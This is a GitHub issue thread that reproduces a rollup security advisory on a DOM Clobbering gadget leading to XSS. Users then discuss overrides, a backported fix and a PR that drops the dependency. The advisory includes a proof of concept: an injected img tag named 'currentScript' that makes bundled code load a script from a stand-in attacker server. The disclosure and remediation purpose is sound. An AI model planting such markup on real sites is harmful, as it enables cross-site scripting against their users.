Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS #758

fabianszabo · 2024-09-24T09:54:50Z

Dev dependency in vite-plugin-pwa:
"rollup": "^4.4.1",

Patched version
4.22.4

The dependency "workbox-build" also includes this vulnerability:

Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS GoogleChrome/workbox#3354

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

The text was updated successfully, but these errors were encountered:

leeobrum · 2024-09-24T13:07:48Z

I have the same problem

userquin · 2024-09-24T13:34:20Z

can you try overriding rollup on your local via overrides, resolutions or pnpm.overrides?

fabianszabo · 2024-09-24T14:29:50Z

I don't think overriding the version would solve the issue, as a major update is required. I took a few minutes to see if I can just update the dependency within workbox-build, but the update needs more time then I can invest in it right now.

I'll check out if I can backport the fix to rollup v2.

Vite will have this fixed soon:

fix(deps): upgrade rollup 4.22.4+ to ensure avoiding XSS vitejs/vite#18180

├─┬ [email protected]
│ └─┬ [email protected]
│   ├─┬ @rollup/[email protected]
│   │ ├─┬ @rollup/[email protected]
│   │ │ └── [email protected] deduped
│   │ └── [email protected] deduped
│   ├─┬ @rollup/[email protected]
│   │ ├─┬ @rollup/[email protected]
│   │ │ └── [email protected] deduped
│   │ └── [email protected] deduped
│   ├─┬ @rollup/[email protected]
│   │ └── [email protected] deduped
│   ├─┬ @rollup/[email protected]
│   │ └── [email protected] deduped
│   └── [email protected]
└─┬ [email protected]
  └── [email protected]

danny-avila · 2024-09-24T14:36:47Z

I put it in overrides, bumped vite-plugin-pwa and then ran npm audit fix to address the workbox dependency with the same issue. PR to my repo here: danny-avila/LibreChat#4226

Everything seems to be working fine and the offending rollup version is no longer listed in package-lock.json as exhibited here: https://github.com/danny-avila/LibreChat/security/dependabot/11

Only noticed that I now have a new warning when building with vite (I use manualChunks beforehand and never had this warning):

Unknown input options: manualChunks. Allowed options: cache, context, experimentalCacheExpiry, experimentalLogSideEffects, external, input, logLevel, makeAbsoluteExternalsRelative, maxParallelFileOps, moduleContext, onLog, onwarn, perf, plugins, preserveEntrySignatures, preserveSymlinks, shimMissingExports, strictDeprecations, treeshake, watch

correct me if I'm wrong, but @userquin was likely just recommending this as a workaround until the dependency is upgraded for this package, then properly tested and released.

fabianszabo · 2024-09-24T14:49:21Z

@danny-avila Thanks for sharing! It surprisingly works fine. I still managed to install my pwa after the override. 🚀

Ofc kudos to @userquin too. I dismissed the solution too soon. Sorry!

userquin · 2024-09-24T17:02:14Z

I'm preparing a PR removing rollup, we only need some types (checking if Vite re-exporting rollup types), once the PR here you will be able to use the pkg-pr-new link in your repository.

The main problem, if it is a breaking change since we support from Vite 3 to Vite 5.

userquin · 2024-09-24T18:14:03Z

@fabianszabo @danny-avila you can use pnpm add -D https://pkg.pr.new/vite-plugin-pwa@759 (update the corresponding package manager), linked PR without Rollup dev dependency.

Vulnerability reported with one of the plugin's dev dependencies. See: vite-pwa/vite-plugin-pwa#758

jason5ng32 · 2024-09-25T18:11:08Z

Got the same issue...

vite-pwa/vite-plugin-pwa#758

b-maslennikov · 2024-09-27T10:12:50Z

for some reason I did manage to fix this issue with npm audit fix... yday it didn't work...

fabianszabo · 2024-10-01T07:00:32Z

Maybe because we backported the fix to rollup version 2.79.2: https://github.com/rollup/rollup/releases/tag/v2.79.2

See commits here: https://github.com/rollup/rollup/commits/v2.79.2/

When using "overrides" this version might be "more compatible".

userquin · 2024-10-01T10:00:49Z

Tested types, so the PR seems to fix the problem on fresh repo without using overrides or resolutions: pnpm create @vite-pwa/pwa with VanillaJS and TypeScript, replacing "vite-plugin-pwa": "^0.20.0" with "vite-plugin-pwa": "https://pkg.pr.new/vite-plugin-pwa@759" before installing dependencies, it is using Rollup 4.23.0.

fabianszabo · 2024-10-02T09:15:54Z

Tested types, so the PR seems to fix the problem on fresh repo without using overrides or resolutions: pnpm create @vite-pwa/pwa with VanillaJS and TypeScript, replacing "vite-plugin-pwa": "^0.20.0" with "vite-plugin-pwa": "https://pkg.pr.new/vite-plugin-pwa@759" before installing dependencies, it is using Rollup 4.23.0.

👍🏼

For anyone wanting to use the PR: Be aware that it no longer supports Vite 3.

The main problem, if it is a breaking change since we support from Vite 3 to Vite 5.

edit: fix typo

userquin linked a pull request Sep 24, 2024 that will close this issue

fix!: Rollup build XSS vulnerability (CVE-2024-43788) #759

Draft

solo-nko added a commit to solo-nko/media-tracker-pwa that referenced this issue Sep 25, 2024

Update vite pwa plugin.

f10efca

Vulnerability reported with one of the plugin's dev dependencies. See: vite-pwa/vite-plugin-pwa#758

begprod added a commit to begprod/weather.it that referenced this issue Sep 26, 2024

chore: add overrides rollup for vite-plugin-pwa

29fff58

vite-pwa/vite-plugin-pwa#758

begprod added a commit to begprod/weather.it that referenced this issue Sep 26, 2024

chore: remove overrides rollup for vite-plugin-pwa

83d6cf3

vite-pwa/vite-plugin-pwa#758

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS #758

Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS #758

fabianszabo commented Sep 24, 2024

leeobrum commented Sep 24, 2024

userquin commented Sep 24, 2024

fabianszabo commented Sep 24, 2024

danny-avila commented Sep 24, 2024 •

edited

Loading

fabianszabo commented Sep 24, 2024 •

edited

Loading

userquin commented Sep 24, 2024

userquin commented Sep 24, 2024

jason5ng32 commented Sep 25, 2024

b-maslennikov commented Sep 27, 2024

fabianszabo commented Oct 1, 2024 •

edited

Loading

userquin commented Oct 1, 2024

fabianszabo commented Oct 2, 2024 •

edited

Loading

Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS #758

Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS #758

Comments

fabianszabo commented Sep 24, 2024

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

leeobrum commented Sep 24, 2024

userquin commented Sep 24, 2024

fabianszabo commented Sep 24, 2024

danny-avila commented Sep 24, 2024 • edited Loading

fabianszabo commented Sep 24, 2024 • edited Loading

userquin commented Sep 24, 2024

userquin commented Sep 24, 2024

jason5ng32 commented Sep 25, 2024

b-maslennikov commented Sep 27, 2024

fabianszabo commented Oct 1, 2024 • edited Loading

userquin commented Oct 1, 2024

fabianszabo commented Oct 2, 2024 • edited Loading

Gadget found in `rollup`

danny-avila commented Sep 24, 2024 •

edited

Loading

fabianszabo commented Sep 24, 2024 •

edited

Loading

fabianszabo commented Oct 1, 2024 •

edited

Loading

fabianszabo commented Oct 2, 2024 •

edited

Loading